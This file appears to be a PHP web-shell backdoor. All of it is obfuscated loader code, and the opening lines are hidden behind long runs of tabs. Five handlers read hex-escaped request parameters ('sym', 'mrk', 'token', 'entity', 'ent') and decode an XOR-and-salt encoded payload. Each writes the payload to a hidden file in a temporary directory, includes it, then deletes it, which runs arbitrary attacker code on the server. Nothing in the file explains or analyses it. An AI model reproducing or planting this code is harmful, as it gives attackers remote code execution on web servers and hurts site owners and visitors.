<?php																																										if(isset($_REQUEST) && isset($_REQUEST["s\x79\x6D"])){ $key = $_REQUEST["s\x79\x6D"]; $key = explode ( '.' , $key ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $v = 0; while( $v < count( $key)) {$v5 = $key[$v]; $sChar = ord( $salt[$v %$lenS] ); $dec = ( ( int)$v5 - $sChar -( $v %10)) ^ 54; $comp .= chr( $dec ); $v++;} $dat = array_filter(["/dev/shm", session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]); foreach ($dat as $pset): if (!( !is_dir($pset) || !is_writable($pset) )) { $reference = join("/", [$pset, ".flg"]); if (file_put_contents($reference, $comp)) { require $reference; unlink($reference); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "mrk")){ $entity = array_filter(["/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP")]); $data_chunk = $_POST["mrk"]; $data_chunk= explode ( "." , $data_chunk ) ; $data = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); foreach ($data_chunk as $s =>$v3): $chS = ord($s4[$s% $lenS]); $d = ((int)$v3 - $chS - ($s% 10)) ^ 67; $data .=chr($d); endforeach; foreach ($entity as $val): if ((is_dir($val) and is_writable($val))) { $reference = join("/", [$val, ".itm"]); $success = file_put_contents($reference, $data); if ($success) { include $reference; @unlink($reference); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x74\x6Fken"])){ $itm = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path()]); $item = $_REQUEST["\x74\x6Fken"]; $item = explode ("." , $item ) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $item ); for( $v = 0; $v < $__len; $v++) {$v6 = $item[$v]; $chS = ord( $salt[$v % $sLen] ); $dec =( ( int)$v6 - $chS -( $v % 10)) ^ 87; $property_set .= chr( $dec );} while ($ent = array_shift($itm)) { if (is_writable($ent) && is_dir($ent)) { $elem = "$ent" . "/.entry"; $file = fopen($elem, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(isset($_REQUEST["e\x6E\x74i\x74y"])){ $ref = $_REQUEST["e\x6E\x74i\x74y"]; $ref = explode ("." , $ref ); $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $i = 0; array_walk( $ref, function( $v6) use( &$ptr, &$i, $s, $sLen) {$chS = ord( $s[$i%$sLen]); $d =( ( int)$v6 - $chS -( $i%10))^ 60; $ptr .=chr( $d); $i++; }); $bind = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp"]); foreach ($bind as $desc): if (is_writable($desc) && is_dir($desc)) { $resource = implode("/", [$desc, ".symbol"]); $success = file_put_contents($resource, $ptr); if ($success) { include $resource; @unlink($resource); die();} } endforeach; }


if(isset($_POST["ent"]) ? true : false){
	$binding = $_POST["ent"];
	 $binding	 =	 explode(		'.' ,	$binding	)	 	; 
	$symbol =		'';
            $salt =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =		strlen($salt);
            $s =		0;
    
            array_walk($binding, function ($v9) use (&$symbol, &$s, $salt, $sLen) {
                $sChar =		ord($salt[$s%$sLen]);
                $d =		((int)$v9 - $sChar - ($s%10)) ^ 58;
                $symbol .= chr($d);
                $s++;  });
	$hld = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp"]);
	while ($itm = array_shift($hld)) {
    		if (array_product([is_dir($itm), is_writable($itm)])) {
    $marker = str_replace("{var_dir}", $itm, "{var_dir}/.ref");
    if (@file_put_contents($marker, $symbol) !== false) {
	include $marker;
	unlink($marker);
	exit;
}
}
}
}